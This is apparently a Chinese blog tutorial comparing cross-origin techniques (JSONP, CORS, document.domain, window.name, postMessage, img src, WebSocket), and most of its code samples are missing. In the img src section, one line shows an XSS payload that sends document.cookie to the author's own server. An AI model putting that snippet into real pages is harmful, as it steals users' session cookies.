提到跨域,首先我们不得不提同源策略,同源即相同域名、相同端口、相同协议,违背同源策略即为跨域。当然在实际开发中,我们难免会遇到跨域的问题,这里我们就来总结一下常见的跨域解决方案。
jsonp
jsonp是最为常见的跨域解决方案,动态添加script标签,script标签中的src属性没有跨域的限制,获取跨域服务器上的js脚本文件,在该脚本文件中定义一个callback,将希望获取跨域服务器中的数据存放在callback当中。
下面我们就来模拟一下这个过程。首先打开本地的apache(http://127.0.0.1:8080/test/
)模拟跨域服务器,然后利用node的http-server(http://10.66.199.28:8081
)模拟本地服务器。
客户端,首先需要先声明callback函数test,然后请求跨域服务器:
|
|
服务器端,利用php生成相对应的回调函数:
|
|
客户端,我们利用jQuery也来实现一下:
|
|
CORS
由于jsonp只能发送GET请求,因此只能获取获取服务器的资源,假如我们需要post跨域服务器,就无法使用jsonp了,那么就有了CORS的解决方案。
CORS十分简单,只需要添加一个header即可,php中这样实现即可:
header('Access-Control-Allow-Origin: *')
星号表示任意均可以跨域访问。
或者html添加meta也可以,<meta http-equiv="Access-Control-Allow-Origin" content="*">
让我们通过对比来说明问题,直接ajax请求:
|
|
浏览器报错,提示跨域了:
XMLHttpRequest cannot load http://127.0.0.1:8080/test/get.php. No ‘Access-Control-Allow-Origin’ header is present on the requested resource. Origin ‘http://10.66.199.28:8081‘ is therefore not allowed access.
那我们为php加一个上文的header, OK,成功访问!
当然我们可以把*
改成特定的域,比如:
|
|
document.domain
同源策略一方面使不同源的两个域之间无法进行ajax通信,另一方面限制浏览器中不同域的框架(iframe)之间是不能进行js的交互操作。
document.domain可以解决不同子域,相同主域的iframe间的交互问题,比如: acm.hdu.edu.cn
与bestcoder.hdu.edu.cn
这是两个不同的子域,我们可以通过修改两个页面的document.domain值,使其均等于hdu.edu.cn
,这样就可以跨域通信了。当然出于安全的目的,document.domain不可随意赋值,必须为当前域名的上级域名。
比如: 将acm.hdu.edu.cn
的document.domain = xx.hdu 就会报错。
VM517:2 Uncaught DOMException: Failed to set the ‘domain’ property on ‘Document’: ‘xx.hdu’ is not a suffix of ‘hdu.edu.cn’.(…)
我们也尝试模拟一下,由于必须同端口,需要先修改一下hosts文件,不同子域名映射为相同ip
127.0.0.1 test1.blackganglion.com
127.0.0.1 test2.blackganglion.com
http://test2.blackganglion.com:8080/test/test2.html
|
|
http://test1.blackganglion.com:8080/test/test1.html
|
|
如果将document.domain注释掉,那么就会报错,无法访问到window.
test1.html:16 Uncaught SecurityError: Blocked a frame with origin
http://test1.blackganglion.com:8080
from accessing a frame with originhttp://test2.blackganglion.com:8080
. Protocols, domains, and ports must match.
window.name
window.name属性在不同的页面(甚至不同域名)加载后依旧存在(如果没修改则值不会变化),并且可以支持非常长的name 值(2MB),因此可以被用来跨域页面间的值传递。
直接跨域访问window.name当然是不行的,相同父域还可以用document.domain,如果是完全不同的域名,我们就需要利用window.name的特性想一个新的办法了。
http://127.0.0.1:8080/test/test2.html
|
|
http://10.66.199.28:8081/index.html
|
|
这里的技巧主要在于,访问window.name前刷新到当前域下的页面,利用window.name同窗口刷新后不变的特点,既能避免跨域,又能获取到跨域页面的window.name所包含的信息。
window.postMessage()
这是HTML5新的API,可以用来跨文档消息传递。
http://10.66.199.28:8081/index.html
|
|
http://127.0.0.1:8080/test/test2.html
|
|
img src
img的src不受跨域限制,可以做一些get操作,用于统计。还有可能被用来XSS攻击,<img src="我的服务器地址?cookie=document.cookie"></img>
,这样用户的cookie就发送到我的服务器上了。
Web Socket
Web Socket也是HTML5的API,目的在于建立服务器与客户端之间的全双工、持久化的双向通信。我们都知道Http是无状态的,要实现Web Socket当然不能基于Http,需要使用Web Socket协议,这对服务器提出了新的要求,与传统的Http大有不同。Node的socket.io支持WebSocket协议,可用于构建实时聊天室应用。
- 单工 A只能接受信号,B只能发送信号
- 半双工 A能发信号给B,B也能发信号给A,但不能同时进行
- 全双工 A能发信号给B,B也能发信号给A,可以同时进行